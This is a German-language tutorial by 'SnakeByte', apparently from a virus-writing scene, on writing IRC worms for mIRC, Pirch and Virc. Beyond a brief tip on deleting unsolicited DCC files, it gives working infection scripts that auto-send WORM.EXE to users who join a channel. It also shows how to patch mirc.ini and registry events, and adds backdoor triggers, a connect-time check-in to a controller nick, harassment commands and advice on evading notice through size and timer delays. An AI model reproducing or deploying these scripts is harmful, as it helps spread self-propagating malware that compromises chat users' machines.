--[ IRC-Würmer 1.4 ]- by SnakeByte Theorie und Praxis In diesem kleinen Tutorial will ich euch etwas über IRC Würmer erzählen, wie man sich gegen sie wehrt und wie man sie schreibt. Um im Internet Relay Chat (IRC) chatten zu können braucht man einen Clienten. Dies kann eine Java Applikation auf irgendeiner Homepage sein, oder einer der etwas komfortableren (und mächtigeren ;) Clienten, den man sich aus dem Netz zieht und dann von der Platte startet, wie zum Beispiel mIRC, Virc oder Pirch. Es gibt noch einige weitere, aber dies sind die bekanntesten. Diese Clienten bieten nun die Möglichkeit, sich per Script an den Geschmack des Anwenders anzupassen. Dadurch hat sich ein regelrechter Boom an verschiedenen Scripts entwickelt, die man sich aus dem Netz (www.mircx.com) runterladen kann. Jedes dieser Scripte hat spezielle Vor- und Nachteile. So gibt es zum Beispiel Entertainment-Scripts, die Spiele über den IRC ermöglichen und War-Scripts, mit denen man Chat-räume (Channels) übernehmen kann. Mit den IRC-Clienten kann man auch Dateien über die Server zu anderen Chatter schicken, was einen findigen Menschen auf die Idee brachte einen Wurm für diese Clienten zu programmieren. Der erste IRC-Wurm war der sogenannte Script.ini Wurm, was viele Chatter verunsicherte, da die Datei Script.ini bei jedem mIRC-Clienten standartmäßig dabei ist. In dieser Datei ist das Script gespeichert, das euren Clienten ausmacht. Dieser Wurm war auch eine Datei namens Script.ini, die den Wurmcode enthielt. Wenn man nun den dcc-send annahm wurde die alte Script.ini durch die neue ersetzt, da der Standartdownload Ordner der gleiche wie der war, in dem die ganzen mIRC Dateien gespeichert waren. Schon war man infiziert, und wenn jemand neues einen Channel in dem man chattete betrat schickte man ihm automatisch eine infizierte Script.ini. Der nächste IRC Wurm, der bekannt wurde, war DM-Setup mit seinen Varianten. Diesmal wurde keine .INI Datei mit Script verschickt, sondern eine .EXE Datei, die dann das Script veränderte. Auch dieser Wurm war für mIRC, da dies der am weitesten verbreitete IRC-Client ist. Am Besten ist es also, wenn man kurz nach einem Channel-Join ohne Absprache mit dem Sender eine Datei erhält, diese entweder gleich löschen oder mit einem guten Viren-Programm scannen. Für euch als IRC-Worm Schreiberlinge bedeutet das, auch nach anderen Events ausschau zu halten, um den Wurm zu schicken oder per .timer eine Verzögerung einzubauen. Andere Events sind zum Beispiel: dccsend, notify, query text.. Aber nun kommen wir zum interessanten Teil: Wie programmiert man einen IRC-Wurm ? Man kann einen IRC-Wurm in jeder beliebigen Programmiersprache schreiben, man muss nur auf die verschiedenen Scriptformen der einzelnen Clienten eingehen, aber ansonsten ist es egal ob ihr in VB, ASM oder TP programmiert.. Da ich jetzt keine Anleitung für 1000 verschiedene Programmiersprachen angeben will beziehe ich mich auf die einzelnen Script-Sprachen. Den Rest solltet ihr euch mit etwas Programmier-Erfahrung selber zusammenbasteln können. Kleiner Tip noch, der Wurm sollte die 30-40KB auf keinen Fall überschreiten, wie mein IRCWORM.NBC zum Beispiel ;), da sich dadurch das dcc'en erheblich verlängert und den Infizierten aufmerksam macht, der darauf meistens auf Abbrechen klickt. 1.) mIRC - Der am weitesten verbreitete IRC-Client, mit den meisten Scripts mIRC wird standartmäßig in 'C:\mirc\' oder 'C:\mirc32\' installiert, dies ist also auch der Ort an dem sich meistens euer Opfer befindet. Es gibt 2 Möglichkeiten mIRC zu infizieren, entweder man überschreibt einfach die Datei 'Script.ini' oder man patcht die Datei 'mirc.ini' und legt dann eine neue .ini Datei mit eigenem Script an. Die erste Möglichkeit ist recht einfach, hat aber den Nachteil, das wenn ein etwas 'besseres/komplexeres' Script installiert ist, wird die Datei Script.ini nicht verwendet und der wurm stopt. Die 2. Möglichkeit ist erfolgreicher aber auch komplexer. Man muss dazu in der Datei 'mirc.ini' (ruhig mal mit notepad reinschaun) unter der Rubrik '[rfiles]' einen Eintrag anlegen (mindestens bei n2=, da die ersten beiden Dateien nicht verarbeitet werden) der auf eine neue .ini Datei zeigt, die ihr anlegt. Diese .ini Datei muss mit '[Script]' (ohne ' ) anfangen und dann das Script enthalten.. hier ein Beispiel: [Script] n0=on 1:join:#: { if ( $nick == $me ) halt n1= else /dcc send $nick C:\MIRC\WORM.EXE } n2=on 1:TEXT:leave!!!:#:{ /msg $chan Your will is my command n3= /part $chan } Diese Script Datei hat 4 Zeilen, die ich näher erklären will... Zeile0: wenn jemand nen Channel betritt, in dem ihr euch befindet, dann wird überprüft ob ihr das seit, (sonst schickt man sich den Zeile1: Wurm selbst); wenn ja, stopt das ganze, wenn nein, wird dem Betreffenden ($nick) die Datei 'C:\MIRC\WORM.EXE' geschickt. Zeile2: Noch ein 'Backdoor' ;p wenn der Text 'leave!!!' in einem Channel Zeile3: gesagt wird, sagt ein Wurm-infizierter in den Channel ($chan) einen Text und verlässt dann den Channel. Falls ihr weitere informationen zu mIRC-Script braucht, schaut euch mal die Datei 'mirc.hlp' an, die jedem mIRC-Clienten beiliegt. Ich werde aber auch ein paar Extras weiter unten in diesem Tutorial angeben. 2.) Pirch - Nette Konkurrenz, da man auf mehreren Servern gleichzeitig chatten kann. Pirch wird normalerweise in das Verzeichnis 'C:\Pirch98\' installiert. In der Datei 'events.ini' befindet sich das Script des Clienten. Hier kann auch wieder auf bestimmte Ereignisse reagiert werden. Hier ein Beispiel einer verwurmten 'events.ini' [Levels] Enabled=1 Count=6 Level1=000-Unknowns 000-UnknownsEnabled=1 Level2=100-Level 100 100-Level 100Enabled=1 Level3=200-Level 200 200-Level 200Enabled=1 Level4=300-Level 300 300-Level 300Enabled=1 Level5=400-Level 400 400-Level 400Enabled=1 Level6=500-Level 500 500-Level 500Enabled=1 [000-Unknowns] User1=*!*@* UserCount=1 Event1=ON JOIN:#:/dcc send $nick c:\Pirch98\worm.exe EventCount=1 [100-Level 100] UserCount=0 EventCount=0 [200-Level 200] UserCount=0 EventCount=0 [300-Level 300] UserCount=0 EventCount=0 [400-Level 400] UserCount=0 EventCount=0 [500-Level 500] UserCount=0 EventCount=0 Im Abschnitt [000-Unkowns] erkennt man die Hostmask User1=*!*@* aller User, die in diesen Bereich fallen.. alle :) UserCount gibt die Anzahl der verschiedenen Hostmasks an, hier ist es 1, da alle dazugehören, wäre es unsinnig noch spezielle User dazuzufügen. Dann kommt unser Event Wenn einer der User der in diese Kategorie gehört einen Channel betritt, bekommt er unsere 'Wurm.exe' gesendet. EventCount ist die Anzahl dieser Events; auch wieder nur einer. Hier bietet sich die simple Möglichkeit an, einfach die komplette 'events.ini' durch eine neue, 'wurmige' Version zu ersetzen. Auch hier wird Information zum Script wieder in einer Hilfe Datei mitgeliefert. In 'Pil.hlp' findet ihr alles, was man mit dem Script sonst noch anstellen kann. 3.) Virc - Guter Client, aber leider ohne Support. Der Coder hat keine Zeit / Lust mehr ihn zu erweitern. :( Virc wird normalerweise nach 'C:\Virc\' installiert, und beim ersten Start wird das Script aus der Datei 'default.lib' geladen und in der Windows-Registry gespeichert. Wenn man die Möglichkeit hat, sollte man versuchen die Datei 'default.lib' zu ändern, da aber ein potentielles Opfer meistens, den Clienten schon mal gestartet hat muss man sich leider an der Registry vergreifen.. :( In dem Haupt-Key 'Hkey_Users' befindet sich der Eintrag des Clientens unter : '.Default\Software\MeGALiTH Software\Visual IRC 96\Events\Event17' Event17 ist der Join-event, den wir auch bei den beiden anderen Clienten verwendet haben um den Wurm zu übergeben.. Hier gibt es dann die Option VPL, die es zu patchen gilt.. hier reicht dann der Eintrag: 'dcc send $nick C:\VIRC\WORM.EXE' und schon ist der Wurm startklar. Falls ihr andere Events verwenden wollt, schaut einfach mal mit Hilfe des Win-Programmes 'regedit' in die Registry unter '.Default\Software\MeGALiTH Software\Visual IRC 96\Events' dort hat jeder Event ein eigenen Key mit dem Wert NAME dort steht der Name des Events. Unter VPL steht immer der zugehörige Code Auch hier wird wieder etwas zum Script mit dem Clienten geliefert. Die Datei 'vscript.txt' enthält wieder jede Menge Informationen für neugierige Coder :) .. 4.) mIRC Extras - Alles was sonst noch Spaß macht... Ich werde hier noch ein paar andere nette Add-Ons für mIRC erklären, die ihr sicherlich interessant findet. Ich denke es sollte euch nicht allzuschwer fallen, diese auf andere IRC-Clienten zu übertragen, aber ich werde sie aus Zeit und Platzgründen nur für mIRC angeben. Mit dem ON TEXT Event kann man auf allerlei im Chan reagieren, was den Infizierten 'dümmlich' dastehen lassen.. ;) on 1:text:#:*Idiot*:/say $chan I am stupid Wenn jemand das Wort Idiot erwähnt, durch die * ist es egal ob mitten im Satz oder alleine, sagt der Betroffene, das er dumm ist... on 1:Join:#:if $chan = #help /part $chan Wenn der Infizierte den Channel #help betritt verlässt er ihn sofort wieder, diese Technik benutzte auch DMsetup um seine Opfer aus gewissen Channels vernzuhalten. on 1:connect:.msg MaStEr Get ME !!! sobald sich hier der Betroffene an einen Server angewählt hat, wird er jemanden mit dem nick MaStEr über dies Bescheid sagen, pracktisch, wenn man noch einige Backdoors eingebaut hat. /titlebar *#*#*#*#*#*( You are lame )*#*#*#*#*#*#* Ändert den Titel des mIRC-Fensters und gibt ihm eine neue Überschrift. /timer1 60 /kick $me wenn man den Timer als Reaktion auf ein Event benutzt, kann man Ereignisse verzögern, so das sie erst später passieren, hier im Beispiel werden 60 Sekunden gewartet, bis der Betroffene sich selbst kickt. on 1:TEXT:#:*scare*:.timer 1 $rand(50,100) /echo BUUH ! Hier wird auf das Wort 'scare' geachtet, dann ein Timer gestartet, der zwischen 50 und 100 Sekunden wartet und dann ein BUUH ! ausgibt.. der Punkt bei '.timer' bedeutet, das das Kommando keine Nachricht an den Infizierten ausgibt, das Timer 1 gestartet wird. Dieser Punkt bietet sich bei mehreren Befehlen an.. :9 Mir /run kann man auf bestimme Events hin Programme auf dem PC des mIRC Users starten. So zum Beispiel Netscape, mit der Option eine gewisse Site im Netz zu besuchen.. :) ( /run Netscape www.KryptoCrew.de ) Ich hoffe ich konnte euch mit diesem Tutorial die Funktionsweise eines IRC-Wurms näherbringen... Für Replys, Comments und Kritik bitte an SnakeByte@Kryptocrew.de wenden... SnakeByte